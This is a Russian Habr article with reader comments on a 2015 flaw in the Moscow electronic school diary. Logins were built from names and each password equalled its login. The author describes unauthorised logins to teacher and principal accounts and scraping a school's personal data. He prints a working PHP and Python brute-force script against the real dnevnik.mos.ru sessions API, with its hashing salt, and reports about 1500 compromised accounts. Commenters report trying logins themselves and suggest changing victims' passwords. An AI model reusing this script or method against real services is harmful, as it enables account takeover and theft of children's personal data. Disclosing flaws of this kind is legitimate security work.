В начале года во всех (ну почти) школах Москвы ввели новый электронный дневник. Его использование было обязательно. Разработчиком этого «великолепного» творения был Департамент ИТ города Москвы. Хоть и красивый дизайн, который доступен пользователям Chrome, внушал, что журнал хорош, на деле было наоборот. Фронтенд был написан на Angular, который, используя API дневника, получал все пользовательские данные. Из-за большой нагрузки со всех школ Москвы или плохой оптимизации, скорость работы дневника была низкой и иногда он даже не был доступен. Учителя жаловались о том, что оценки не выставляются и домашнее задание не сохраняется. Ученики и их родители были не довольны кривым отображением расписания и сообщений от учителей. По поводу отсутствия кроссбраузерности и поддержки мобильных девайсов на фоне всего не очень сильно переживали. Также кроме багов и медленной скорости работы была и «особенность».

Особенность генерации логинов


Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же. Например, у Иванова Ивана Ивановича будет логин и пароль ivanovii, у Сидорова Петра Сергеевича будет sidorovps. В случае «я» будет меняться на «ya», а не на «ia», и «ц» на «c».

Я решил проверить предположение и взял имя, фамилию и отчество одноклассника и успешно авторизовался под его аккаунтом. Потом я проделал те же действия, взяв имя, фамилию и отчество учителя, и успешно авторизовался под его аккаунтом. Получается, любой ученик мог авторизоваться под учителем и менять свои оценки? Я, конечно, понимаю, что у нас в стране не особо занимаются обеспечением безопасности и приватности персональных данных детей (ФИО и даже оценки — персональные данные), но учителя (может быть не все учителя), они не понимают, что можно побеспокоиться о безопасности своих аккаунтов. Самое классное было то, что после я получил доступ к аккаунту директора гимназии, однако позже выяснил, что он не имеет особых привилегий и прав.

Немного покапав модуль сообщений, я смог украсть фамилии, имена и отчества всей школы — учеников, их родителей и учителей. То есть, получив доступ к аккаунту Васи, я мог украсть персональные данные всей его школы и, взломав небольшое количество аккаунтов, я мог украсть перс. данные многих людей. Дальше я решил проверить, правда ли то, что персональные данные большого количества людей находятся под угрозой.

Брутфорс по логинам


Брутфорс проводился по логинам сгенерированными по выше описанным особенностям и при переборе пароль был эквивалентен логину. Авторизация у журнала шла через их API, которое выдавало auth_token (при правильном логине и пароле) или ошибку (при неправильном логине/пароле). Отправляемые данные состояли из

  • login — логин в стандартном виде
  • password_hash — md5(pass + «4f8202ccd76210b47b40627c621daa56»)


Хеш генерировался на стороне клиента и отправлялся Ajax запросом вместе с логином на API. Не видел, чтобы где-нибудь в крупном продукте или проекте авторизация происходила так. Соль добавлялась для криптостойкости, чтобы хеш трудно было взломать, если его перехватят.

Я написал php скрипт, который принимал login, создавал хеш пароля, с помощью cUrl отправлял запрос на API журнала и возвращал ответ, который состоял из:

  • id — идентификатор пользователя
  • email — E-mail пользователя (по умолчанию: логин@example.com)
  • type — тип аккаунта («teacher», «student», «parent»)
  • school_id — идентификатор школы
  • school_shortname — название школы
  • first_name — имя
  • last_name — фамилия
  • middle_name — отчество
  • authentication_token — токен, который кладётся в cookie, а при следующий запросов на API отправляется в виде HTTP-Header'a
  • password_change_required — если «true», журнал предложит сменить пароль
  • date_of_birth — дата рождения
  • sex — пол

<?php
$data = array("login" => $_GET['login'], "password_hash" => md5($_GET['login'].'4f8202ccd76210b47b40627c621daa56')); // Создаём массив с логином и хешом пароля
$data_string = json_encode($data); // Конвертируем в JSON
$ch = curl_init('https://dnevnik.mos.ru/lms/api/sessions');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Для того чтобы SSL работал
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Accept: application/vnd.api.v2+json', 
    'Content-Type: application/json;charset=UTF-8',
    'Referer: https://dnevnik.mos.ru/auth',
    'Origin: https://dnevnik.mos.ru',
    'Content-Length: ' . strlen($data_string))
);

$result = curl_exec($ch);
echo $result; // Выводим ответ API журнала
?>

Сама прога для брутфорса была написана на Python, она отправляла запрос на сервер, где был php скрипт, и записывала ответ в файл, если авторизация проходила успешно.

import urllib.request
def tryToHack(login):
    try:
        ans = urllib.request.urlopen("http://*******.koding.io/php.php?login="+login).read()
        ans = str(ans)
        if not str(ans).find("authentication_error") > 1:  # Если авторизация прошла успешно, записываем в файл
            print(ans[ans.find("'") + 1:-1], file=fout)
    except:
        pass

fin = open("fam.txt", "r")  # Файл с фамилиями
fout = open("out.txt", "w")
surnames = fin.readlines()
for i in range(len(surnames)):
    surnames[i] = surnames[i].rstrip()
alp = [chr(i) for i in range(ord('a'), ord('z') + 1)]  # Массив английского алфавита
for i in surnames:      # Перебираем фамилии
    for j in alp:       # Перебираем первую букву имени
        for k in alp:   # Перебираем первую букву отчества
            tryToHack(i + j + k)

Статистика ущерба


Я перебрал популярные фамилии (по моему мнению): Иванов, Иванова, Петров, Петрова, Сидороа, Сидорова, Гончаров и Гончарова. Получается 8 * 26 * 26 (кол-во фамилий * кол-во букв в английском алфавите * кол-во букв в английском алфавите) = 5408 логинов и паролей. Из около 1500 были верные. Около половины из них были с «password_change_required»: true, но пароли никто не менял.

image


Вывод


Не стоит вручать пользователям простые пароль, выдавать один пароль на все аккаунты по умолчанию или устанавливать пароль равный логину. Данную «особенность» я нигде больше не видел, так что это вторичное напоминание разработчикам этого «чуда».

Комментарии (131)


  1. teamfighter
    30.12.2015 14:27
    +3

    Мдаа, крайне грустная история. Сейчас интереса ради зашел на dnevnik.mos.ru, и следуя указаниям автора статьи, ввел логин и пароль совершенно рандомного человека, придуманного только что. И, что удивительно, зашел. Надо ребятам срочно что-то с этим делать.


    1. eaa
      30.12.2015 14:32
      +6

      Сейчас сайт ляжет от хабраэффекта ;)


    1. Dreyk
      30.12.2015 14:33

      пускать-то пускает, но аякс-запросы выдают 500. Надеюсь, это уже начали фиксить приложение


      1. teamfighter
        30.12.2015 14:35
        +8

        Я подозреваю, что это как раз и есть хабраэффект)


        1. and7ey
          30.12.2015 20:38
          +7

          В статье же написано, что сайт всегда так работает ;) — так что ему никакой хабраэффект и не нужен, чтоб 500 возвращать.


    1. DIT
      30.12.2015 20:39
      +9

      Коснулось только нескольких школ из пилотной зоны нового дневника, не массовая проблема. Все школы основной версии заходят на дневник через московский портал госуслуг. Закрыли прямой доступ и для этой версии уже. А также сменили пароли учитепей и включили принудительную смену для родителей и учеников. Пользователей конечно инструктировали о необходимости смены пароля при первом же заходе, но инерция все-таки сильнее. Учтем обязательно.


      1. AlexGechis
        30.12.2015 23:42
        +4

        Скажите, просто интересно, как вы планировали решать проблему уникальных логинов и паролей? Если в системе есть ivanovaa, то какой логин будет у нового Иванова Алексея Алексеевича?

        Ну и радует, что госструктура работает над закрытием дырок в такое позднее время, не уходя домой готовиться к празднику и не забивая на всё. Спасибо вам за такой подход!


        1. ankh1989
          31.12.2015 02:54
          +1

          В больших корпорациях эта проблема решается либо другим комбинированием части имени и фамилии: скажем billg и billga это два человека с похожим именем, но первый пришёл раньше и потому занял короткий ник. Из за этого, кстати, иногда получается, что ник мужчины звучит как женское имя и наоборот: в таких конторах это не проблема, а вот в школах этим точно будут дразнить.


          1. TokminD
            03.01.2016 13:14

            Я админю небольшую компанию, но у нас нередки «семейные» работники. Поэтому и фамилии и отчества дублируются и первые буквы имени. Принял решение именовать по принципу 4 буквы фамилии+3 буквы имени+1 буква отчества. Получается лаконичные (обычно) логины с фиксированной длинной и пока ни одного повторения. Но конечно для единой площадки по нескольким школам такое не прокатит, а в одной имеет шанс совпадения весьма незначительный.


            1. Wesha
              03.01.2016 21:22

              4 буквы фамилии+3 буквы имени+1 буква отчества [...] пока ни одного повторения.
              Это потому, что у Вас братья-близнецы Александр и Алексей не работают.

              (Кстати, их сёстры Алена и Алевтина звонили.)


              1. TokminD
                03.01.2016 21:59

                Но братья-сестры Максим и Мария уже есть, пока алгоритм держится :)


                1. Wesha
                  03.01.2016 22:11

                  Ключевое слово «пока».

                  Я всегда жёстко протестовал против логинов-паролей, основанных на частях паспортных данных. Это же клад для хакеров, которые пользуются социальной инженерией.

                  Звонок №1: «Алё! Мы тут счёт на вашу компанию выписываем, инициалы вашего главбуха на визитке плохо пропечатаны, то ли М, то ли К… А, да-да, Наталья Андреевна, спасибо большое, записал!»
                  Звонок №2: «Извините, а как Наталье Андревне позвонить, как её фамилия, забыл, Вер… Вор… А, да, спасибо, Новицкая, это я с другой Натальей перепутал!»


                  1. TokminD
                    04.01.2016 20:17
                    +2

                    ИМХО, безопасность, основанная на незнании логинов — не безопасность. Так же как и криптоалгоритм, основанный на незнании самого алгоритма не криптостоек. Надо еще и знать куда этот логин применить. При отсутствии внешних подключений и низкой ценности информации, с которой работает организация уровень паранойи снижается. Все таки у логинов и имен компьютеров должна быть логика, причем такая, которую можно задокументировать. Веб сервисы и внутренние сервисы несколько отличаются по восприятию сотрудниками. Если в редкоиспользуемых веб сервисах люди готовы мириться с нелогичными идентификаторами, то ежедневно комфортнее работать с чем-то понятным и логичным. Можно использовать и случайные 16 значные цифробуквенные ID, которые не повторятся. Только сколько учений придется провести, особенно при наличии сотрудников «тех кому за 60». И хорошо иногда повторять про себя, что «мы работаем для бизнеса, а не бизнес работает для нас» :)


                    1. Wesha
                      04.01.2016 20:21
                      +2

                      Видите ли, я просто вольно переложил историю взлома одного из американских банков, потому как не могу найти исходную статью. Там был как раз такой метод эскалации — от мелкого клерка по инстанциям вверх до главной операционистки: каждому следующему уровню выдавалась информация, полученная от предыдущего (типа «да я ж ваш, просто новый сотрудник, ещё не всё знаю: видите — сколько секретов я знаю!»), в потом он раскручивался на то, что социальный хакер ещё не знал («ой, простите, я логин знаю, а вот пароль запамятовал»).


                    1. dcc0
                      06.01.2016 00:40
                      +1

                      Низкой ценности информации?
                      Вы уверены?
                      Имена и фамилии отличников. которые сегодня в 10 классе, через 5-7 лет на разных государственных должностях: инженеры, разработчики, физики-атомщики и т.д…

                      Количество идиотов на хабре зашкаливает.


                      1. Wesha
                        06.01.2016 00:50
                        +1

                        Работал я лет пять назад в одной компании, которая выдавала экстренные кредиты «до получки» (под бешеные проценты).

                        Во тогда ещё подумалось, что база данных этой компании — сокровище бесценное для иностранных разведок, если сколоть (join) её пофамильно со списком работников местного Министерства обороны, заводов, работающих с секретными заказами, и так далее…


        1. subirdcom
          01.01.2016 12:20

          Будет ivanovaa-2. У нашего учителя по информатике был подобный


      1. Ohar
        31.12.2015 03:20
        +8

        Пользователей конечно инструктировали о необходимости смены пароля при первом же заходе
        Ну вы как дети малые.
        Пользователей не нужно инструктировать в таких вопросах. Им просто не надо давать никакого другого выбора, кроме смены пароля.


        1. foboss
          05.01.2016 19:16
          +1

          И они поставят! ох уж они поставят.

          *****
          маша
          table
          XX-XX-XX (городской телефон it-отдела)
          и т.п.

          Все примеры, включая 5 звездочек — с той поры, когда я работал в университете в отделе IT. В какой-то момент мы пришли к принудительной генерации логина на основе ФИО (ой, а я не помню что куда вбивать, это не мое и т.п.) и автоматического цифробуквенного пароля. Смена пароля — новая памятка с новым сгенерированным роботом паролем. И только так.


          1. Ohar
            06.01.2016 00:59

            Да лучше они такой поставят, чем у них ваш суперсложный мегапароль будет на бумажке записан и на мониторе приклеплён.


            1. foboss
              06.01.2016 07:54
              +1

              Многолетняя практика говорит об обратном.

              Уж лучше они у себя на кафедре или дома будут с бумажкой/наклейкой — иначе спам/вирус-боты в легкую прорываются через защиту от брутфорса и начинают слать спам или звонить через шлюз IP-телефонии в страны с инопланетными кодами.

              И да, от «бумажек на мониторе» необычайно эффективно помогает рассылка сводной таблицы посещенных сайтов в конце месяца по почте. Непонятные и ненужные аккаунты, моментально становятся предметом бдительного внимания как со стороны владельца (стыдно же), так и со стороны коллег (интересно же, чем сосед-бездельник занимается).


  1. teamfighter
    30.12.2015 14:37
    +1

    Вообще говоря, если в генерации логина и пароля присутствует какой-то прямой алгоритм, рано или поздно он будет вскрыт. Что нам этой статьей и продемонстировали.


    1. Dreyk
      30.12.2015 14:41

      не, ну одно дело «некий алгоритм», и другое — вот такое вот топорное решение.

      И, кстати, как у них реализована уникальность пользователей, с такими-то логинами?


      1. teamfighter
        30.12.2015 14:45

        Видимо, к одному логину подходит несколько паролей. Или добавляется единичка в конце логина.


        1. AlexGechis
          30.12.2015 14:47
          +7

          Видимо, к одному логину подходит несколько паролей.

          Одинаковых по дефолту…


          1. teamfighter
            30.12.2015 14:48

            мда, как-то этот момент я упустил, каюсь)


        1. Dreyk
          30.12.2015 14:47

          Так ведь пароли изначально равны логину, наверное второй вариант


    1. dimview
      30.12.2015 22:42

      Зависит от того, что именно имеется в виду под «прямым» алгоритмом. Если пароль делать криптографически стойким генератором псевдослучайных чисел (который можно взять готовый или даже написать в три строчки), то рано он вскрыт не будет.


    1. samodum
      31.12.2015 01:18
      +1

      Это называется «Security through obscurity» en.wikipedia.org/wiki/Security_through_obscurity


  1. Lorian_Grace
    30.12.2015 14:48
    +1

    Вообще, те дневники, которые попадались мне, были не очень удобными для использования. Вплоть до того, что к одному акку родителя нельзя было привязать больше одного ребенка, а использование у двух аккаунтов одного мобильного телефона не позволялось. Обойти-то обошли проблему, но осадок остался. Так что вопрос, кто и через какое место такое делает — открыт…


  1. AlexGechis
    30.12.2015 14:48
    +13

    Отличный подарок детям на Новый Год, которые знают как зовут их учителя.


    1. iborzenkov
      30.12.2015 15:10
      +12

      Вспоминая анекдот — таким детям уже не нужно править свои пятерки


    1. Firz
      30.12.2015 15:13
      +5

      Астрологи объявляют неделю электронных дневников.
      Прирост хороших оценок удваивается.


      1. AlexGechis
        30.12.2015 15:15
        +4

        Даёшь больше золотых медалистов!

        А если серьёзно, интересно, если ли бэкап (хоть бумажный), и история изменения оценок, чтобы можно было найти что поменяли и восстановить если что?


    1. zagayevskiy
      30.12.2015 16:31
      +1

      Вообще не понимаю, для чего автору было это открывать широкой публике под новый год (перед длинными каникулами).


      1. Ohar
        30.12.2015 18:46
        +6

        Чтобы кого-то очень тупого уволили?


        1. zagayevskiy
          30.12.2015 19:00
          -2

          То есть, утечка данных не важна, главное крайнего найти? Сомневаюсь, что по факту кого-то уволят.


          1. Ohar
            30.12.2015 19:04
            +6

            С таким подходом к безопасности, как у описываемой системы, об утечке говорить бессмысленно. Вы же не думаете, что автор — первый кто обнаружил, что «в тюрьме нет четвёртой стены», как в известном анекдоте?


            1. AlexGechis
              30.12.2015 23:39
              +6

              В Аду есть специальный котел для тех, кто упоминает «широко известные» анекдоты и не рассказывает их.


              1. Wesha
                30.12.2015 23:58
                +3

                Поймали ковбои индейцев, заперли их в сарае и ушли. Проходит три дня, индейцы возвращаются в племя. Там их расспрашивают — мол, как вы сбежали? Один рассказывает: «День мы сидим, другой день сидим, а на третий день Орлиный Глаз заметил, что у сарая нет одной стены.»


      1. DIT
        30.12.2015 20:21
        +2

        действительно не очень корректно, но мы уже исправили. Коснулось лишь несколько школ из пилота новой версии дневника, хотя это и не извиняет разработчиков.


        1. Wesha
          31.12.2015 08:45
          -2

          > это и не извиняет разработчиков.
          И вообще не извиняет учителей русского языка.

          image


          1. Doktor_Gradus
            01.01.2016 15:40
            +1

            Хотя комментарий, на который вы ответили этой картинкой и написан не очень грамотно, но выделенная вами гласная там поставлена верная.


            1. Wesha
              01.01.2016 21:22

              «Простите, погорячился. Признаю себя ослом и жду Ваших распоряжений.» (с)

              (Как раз тот самый случай, когда невозможность исправить хабракомментарий жутко достаёт).


    1. DIT
      30.12.2015 20:44
      +1

      Ученики недолго радовались, дырку уже закрыли. Она, кстати, затронула только несколько школ из зоны, где внедряется новая версия дневника, а не всех, как подумал топикстартер. У нас школы в дневники через московский портал госуслуг ходят уже давно — с двухфакторной защитой. Ну и все действия логируются естественно с возможностью откатить любые «несанкционированные» оценки.


  1. Lure_of_Chaos
    30.12.2015 14:50
    +11

    Это чем надо думать, чтобы давать пароль по умолчанию равным логину??


    1. Wesha
      30.12.2015 19:51

      Лично мне кажется, что как раз тем местом, которое учит современная система образования.


  1. Dreyk
    30.12.2015 15:04

    а между тем, в личном кабинете указаны имейлы и телефоны, сейчас новость дойдет до спамеров, и кто-то получит себе неплохую базу


    1. eaa
      30.12.2015 15:06

      Убрал бы автор публикацию в черновики… а то ж пострадает куча народу, тем более что пароли не меняют те, кто ничего в этом не понимают и потому вообще оказываются беззащитными в такой ситуации.


      1. wrewolf
        30.12.2015 15:08
        +6

        Поздно, статьи хабра мгновенно оседают в кеше гугла, постоянно так просматриваю закрытые публикации с возрастом меньше 10 минут.


      1. DIT
        30.12.2015 20:46

        Не волнуйтесь, уже закрыли все что описано. Это была экспериментальная версия дневника, которая пилотируется на небольшом числе пользователей. Все наши обычные пользователи ходят в дневник через портал госуслуг московский.


        1. Nashev
          31.12.2015 00:10
          +1

          Полторы тысячи только Ивановых, Петровых, Сидоровых и Гончаровых? Небольшое число???


          1. Wesha
            31.12.2015 01:12

            Ну, в сравнении c населением земного шара — таки да, небольшое.


        1. Wesha
          31.12.2015 01:11
          +1

          Не волнуйтесь, уже закрыли все что описано.
          А может, стоило бы закрыть ещё и то, что не описано?


    1. DIT
      30.12.2015 20:45
      -1

      Это тестовая версия дневника, который пилотируется в нескольких школах, и большинство данных тоже тестовые. Кроме того, уже пофиксили.


      1. achekalin
        30.12.2015 23:11
        +1

        Вы знаете, тестовая она конечно тестовая, а вот данные у вас там, судя по всему, самые «натуральные».

        Вы по логам не смотрели, сколько человек (хватит с точностью, думаю, до тысяч) зашло на сайт за сегодня?


      1. Valery4
        30.12.2015 23:33

        Я не люблю два раза повторять


  1. Evengard
    30.12.2015 15:23
    +5

    Это чем надо думать чтобы хеш генерить на клиенте и отсылать уже его… Теряется весь смысл хеширования — если можно авторизоваться ТОЛЬКО зная хеш, то толку-то?!


    1. pharrell
      31.12.2015 02:49

      Вообще, если честно, ничего в этом страшного нет. Во первых, кто вам сказал, что пароли в базе хранятся именно в таком виде, в каком они отправляются с клиента? Скорее всего этот хэш хэшируется ещё раз на сервере.
      Во вторых, можно даже найти объяснение такой мере. Тупое, но всё-же в духе разработчиков. Они просто хотели обезопасить пароль от перехвата траффика с помощью прокси.


      1. motomac
        31.12.2015 08:52
        +2

        Но если прокси перехватит хэш, а он принимается сервером в качестве пароля, то это по сути равнозначно перехвату самого пароля.


        1. TimsTims
          31.12.2015 12:47

          Попробовать подобрать хэш — это по сложности так-же как и подобрать пароль. Или вы предлагаете отсылать голый пароль?


          1. motomac
            31.12.2015 12:59
            +3

            Ничего подбирать уже не нужно — у нас и так есть строка (хэш), по которой сервер нас принимает за своего.

            Что делать? Использовать HTTPS.


            1. Evengard
              31.12.2015 18:50
              +1

              HTTPS лучший вариант, но в конце концов можно извратиться и сделать что нибудь вроде SRP. Но уж точно не так.


        1. pharrell
          03.01.2016 01:52
          +1

          Да, да, именно поэтому я и написал, что объяснение тупое, но всё-же в духе разработчиков данного сервиса.


  1. RazorBlade
    30.12.2015 15:24
    +6

    О каком дневнике идет речь? В нашей школе используется mrko.mos.ru, в который напрямую залогиниться нельзя (или я не нашел как) — только через pgu.mos.ru. Однако там тоже все не лучшим образом сделано:
    На родительском собрании раздали логины/пароли в виде набора цифр и конечно же, пароль соответствовал логину. Я сразу же решил поменять пароль и заодно логин тоже (такая возможность есть). Однако я не долго радовался, т.к. после смены логина и пароля я больше не смог зайти ни по новым ни по старым данным. Звонок в тех.поддержку меня еще больше расстроил, поскольку женщина на том конце долго и упорно просила у меня старые и новые учетные данные вместе паролем! После чего пробовала сами зайти под ними и после безуспешных результатов сообщила, что она ничем не может помочь — надо обращаться в школу, чтобы они сбросили мне пароль.


    1. Wesha
      30.12.2015 19:54
      +2

      По личным ощущениям, не могу не процитировать слова Лаврова. По правилам хабра, не могу процитировать слова Лаврова…


    1. dom1n1k
      30.12.2015 20:07

      Паноптикум


    1. DIT
      30.12.2015 20:49
      +1

      Да, в МРКО доступ через портал госуслуг московский, описанное касалось экспериментальной версии дневника в нескольких школах, но и это уже закрыли. По поводу того, что не помогла поддержка, приносим извинения. Если какие-то проблемы с дневником еще сохраняются, пишите сюда или в личку, будем рады помочь!


  1. maaGames
    30.12.2015 15:32
    +5

    Родные братья Петров Илья Александрович (petrovia) и Петров Иван Александрович(petrovia) поступили в один класс одной школы и сломали систему.


    1. Dreyk
      30.12.2015 16:14

      там к логину '-1' добавляется у дубликатов


      1. shoorick
        30.12.2015 23:32

        А потом вслед за Ильёй и Иваном пришли Игорь, Игнат, Исаак, Иосиф и Ираклий. А потом — ещё куча пацанов с теми же именами, но другими отчествами на А. Счётчик, надеюсь, будет тикать дальше? Или остановится на добавлении минус единицы? :-)


      1. subirdcom
        01.01.2016 12:26

        -2


    1. motomac
      31.12.2015 08:54
      +3

      Напомнило

      image


  1. jia3ep
    30.12.2015 15:33
    +4

    Надеюсь автор поменял пароль на рандомный хотя бы в тех 1500 аккаунтов, в которые удалось войти?

    Ну и предлагаю так делать всем, кто успешно вошел под логином учителя. От разработчиков вряд ли быстро фикс будет, а так хоть всем Хабром закроем дыру.


    1. zagayevskiy
      30.12.2015 16:00
      +1

      И дневник заодно закроем?


      1. jia3ep
        30.12.2015 16:05
        +1

        Сейчас, наверное, это не критично, а после праздников получат люди в школе новые пароли. Ну и можно уведомление на почту из личного кабинета отправлять, что пароль изменен для обеспечения безопасности. Блокировка аккаунта — это нормальная реакция при компрометации, поэтому ничего страшного я не вижу.


        1. zagayevskiy
          30.12.2015 16:28

          Да, только вот вас об этом не просили ни пользователи, ни разработчики, ни ответственные за эту систему. Не был в системе, поэтому не знаю, можно ли там из личного кабинета посылать какие-то письма на собственную почту (это кажется странным), и, тем более, не знаю, будет ли что-то отсылаться при смене пароля.


          1. syschel
            30.12.2015 17:08
            +6

            За это смело статью можно себе получить

            272 УК РФ
            1. Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации, — наказывается ....

            А с учётом как у нас суды умеют разбираться в ИТ делах, да и на кого сразу же списывают свои косяки все гос структуры, особенно за тендерные разработки. Думаю не мало «хакеров» могут отловить наши правохранители, а министерство образования скинуть на них свой косяк.


            1. Wesha
              31.12.2015 11:06

              Ну и предлагаю так делать всем, кто успешно вошел под логином учителя.
              За это смело статью можно себе получить 272 УК РФ
              Информация к размышлению: не все хабрачитатели живут в РФ…


      1. Lockal
        30.12.2015 20:21

        И автора поста заодно закроем.


      1. DIT
        30.12.2015 20:54
        -2

        Это не основная версия дневника была, а пилот на нескольких школах, его привели к стандарту основного продукта уже, дырка закрыта.


        1. Wesha
          31.12.2015 00:02
          -1

          дырка закрыта.
          Вы хотели сказать "одна дырка закрыта".


    1. DIT
      30.12.2015 20:53
      -2

      Фикс уже накатили, это не массовая история, а экспериментальный дневник, который обкатывается в нескольких школах.


      1. Valery4
        30.12.2015 23:34
        -2

        Повторять два раза не люблю


  1. Visphord
    30.12.2015 16:20

    Судя по всему часть логинов и паролей еще даже не выдана родителям.


  1. ivanbolhovitinov
    30.12.2015 16:45

    Есть разновидность систем, где пользователям можно выдавать простые пароли.
    Более того, даже можно выдавать одинаковые для всех.
    Но.
    1. Эта система внутреннего употребления. Она недоступна извне. Многих пользователей можно узнать в лицо или по номеру телефона
    2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
    3. Каждый момент подбора пароля записывается в логи
    4. После трех неправильных попыток входа аккаунт блокируется. До обращения к админам.

    Вот так и живём.
    Кто узнал?


    1. Ohar
      30.12.2015 18:49
      +1

      2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
      С какими предыдущими, если это 1-й вход?


      1. ivanbolhovitinov
        30.12.2015 18:53

        Тогда ни с какими. Это уже частный случай.


    1. Aingis
      30.12.2015 20:09
      +1

      > 4. После трех неправильных попыток входа аккаунт блокируется. До обращения к админам.

      И можно успешно DoS'ить пользователей. Например, если не хочешь, чтобы родители увидели свежую двойку.


      1. ivanbolhovitinov
        30.12.2015 20:18
        +1

        Так я и говорю:
        >Есть разновидность систем
        >1. Эта система внутреннего употребления.
        Если систему попробовать ддосить *изнутри*, то это… ммм… чревато…
        Именно поэтому политика может позволить себе быть… несколько иной…


    1. Steve_Key
      05.01.2016 18:29

      2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями

      То есть, где-то в системе хранятся все эти пароли, а пото?м их кто-то «украдёт» — прелестно!!!


      1. Wesha
        05.01.2016 18:36
        +2

        То есть, где-то в системе хранятся все эти пароли, а пото?м их кто-то «украдёт» — прелестно!!!
        Не обязательно сами пароли. Хэши.

        Кстати, на данный момент ebay помнит все ранее использованные пароли (все до единого, Карл!!! Вплоть до 2001 года!!!)


        1. Steve_Key
          05.01.2016 19:33

          ebay помнит все ранее использованные пароли

          А это хорошо?


          1. Wesha
            05.01.2016 19:38

            Ну как Вам сказать… обычно, когда в абзаце упоминается Карл, подразумевается нечто вроде «Да они там что, уху ели???»


  1. vintage
    30.12.2015 17:54

    Я так понимаю, портал для школьников сделали школьники. :-D


    1. Uint32
      31.12.2015 00:40
      +2

      Не, талантливые племянники, которые в этих компутерах разбираются у-уу как.


  1. PavelMSTU
    30.12.2015 17:56
    +6

    У меня теща учителем работает.

    Полгода назад им всем преподавателям выдали пароли.
    Тёща пароль потеряла, в пятницу вечером хотела ввести отметки за месяц и… пароля нет.

    Ну она в истерике. Мы с женой говорим — в понедельник получишь новый пароль, не переживай!!..
    Выяснили, что в воскресение deadline.
    Я спросил из скольки символов пароль. Мне ответили, что… из пяти…
    Ну я весь такой в понты (тёща же!): «Ха! Сейчас разберемся! Попей чаю, мама, не переживай! Твой тесть white hacker, использует свою силу!»
    Я часик поколдавал в PyCharm'е и перебрал пароли.
    Теща довольная! Затем мы помогли ей вбить оценки в систему (оказывается для неё и это трудно).

    * * *
    Далее началось самое интересное. Я, как нормальный безопасник не мог устоять перед искушением и аналогичным образом «поломал» пароли других лиц в школе (у тещи был список ФИО — логины, распечатанные на A4, так что логины я знал). Короче, перешел на темную сторону силы…

    Оставил крутиться на пару дней, в воскресенье вечером посмотрел результаты. Порадовался и, разумеется, всю полученную информацию в итоге уничтожил…

    В понедельник утром аншлаг. Оказывается я нечаянно устроил DDoS DoS… В итоге заполнили только те учителя, которые сели за комп раньше моей тёщи.
    А те, кто сел позже в пятницу или в субботу — заполнить оценки — не могли этого сделать из-за отказа в обслуживании…

    До сих пор стыдно… Чувствую себя Дарт Вейдером :((
    Сходил в Церковь — исповедовался и твердо решил — даже ради интереса ничего не ломать…
    А то мало ли…


    1. ComodoHacker
      30.12.2015 19:48
      +10

      Все оценки за месяц заполняем перед дедлайном. Как это по-нашему…


    1. 30.12.2015 21:40

      В Татарстане электронный дневник заполняется сразу же на перемене после урока, иначе учитель получит по шапке. Сам периодически смотрю оценки во время учебы ребенка.
      Пароли выдают на бумажке, сам логин из 10 цифр, а вот пароль состоит из 4 букв. Думаю, что при желании и тут набрутфорсить паролей можно много и самых разных.


      1. Seekeer
        31.12.2015 08:11
        +3

        >В Татарстане электронный дневник заполняется сразу же на перемене после урока
        Это просто ад для учителей. Времени на отдых не остаётся.


  1. TimsTims
    30.12.2015 18:07

    ivanbolhovitinov

    2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями

    При первом входе у пользователя не может быть 5 прошлых паролей :)


    1. ruikarikun
      30.12.2015 18:50

      Имеются в виду пароли пяти недавно залогинившихся пользователей.


      1. ivanbolhovitinov
        30.12.2015 18:58

        Таки нет.


        1. ruikarikun
          30.12.2015 19:06

          Жаль, было бы прикольно.


          1. ivanbolhovitinov
            30.12.2015 19:16
            +6

            Это очень и очень старая шутка:

            Извините, Вы не можете использовать указанный пароль. Такой пароль уже использует пользователь Misha. Пожалуйста, придумайте другой пароль.


    1. ivanbolhovitinov
      30.12.2015 18:58
      +2

      А если он новый, то все прошлые пароли пустые. А пустые пароли запрещены.И всё равно — нет!

      Купи палку колбасы, а если будут яйца — купи десяток

      Столько лет прошло, а я всё обожаю этот анекдот.


    1. duzorg
      30.12.2015 19:25
      +12

      — Извините, Ваш пароль используется более 30 дней, необходимо выбрать новый!
      — розы
      — извините, слишком мало символов в пароле!
      — розовые розы
      — Извините, пароль должен содержать хотя бы одну цифру!
      — 1 розовая роза
      — Извините, не допускается использование пробелов в пароле!
      — 1розоваяроза
      — Извините, необходимо использовать как минимум 10 различных символов в пароле!
      — 1грёбанаярозоваяроза
      — Извините, необходимо использовать как минимум одну заглавную букву в пароле!
      — 1ГРЁБАНАЯрозоваяроза
      — Извините, не допускается использование нескольких заглавных букв, следующих подряд!
      — 1ГрёбанаяРозоваяРоза
      — Извините, пароль должен состоять более чем из 20 символов!
      — 1ГрёбанаяРозоваяРозаБудетТорчатьИзЗадаЕслиМнеНеДашьДоступПрямоБляСейчас!
      — Извините, этот пароль уже занят!


      1. ErhoSen
        30.12.2015 22:42
        +8

        — Извините, этот пароль уже занят пользователем petrovia!


  1. reff
    30.12.2015 19:34
    +1

    Видимо, прознали о проблеме и что-то изменили. Теперь авторизоваться не удаётся, хотя каких-то 3 часа назад…


    1. jia3ep
      30.12.2015 20:13

      Изменили точно, но топорно как-то, т.к. нормальные пароли тоже сбросили. Могли бы посмотреть — меняли пользователи пароль или нет, а не всех под одну гребенку.


    1. DIT
      30.12.2015 20:33

      Да, закрыли уже прямой доступ в тестовую версию дневника (речь шла только о ней), теперь только через московский портал госуслуг через двойную аутентификацию, сменили пароли учителей, включили принудительную смену для родителей.


  1. merlin-vrn
    30.12.2015 19:44
    +2

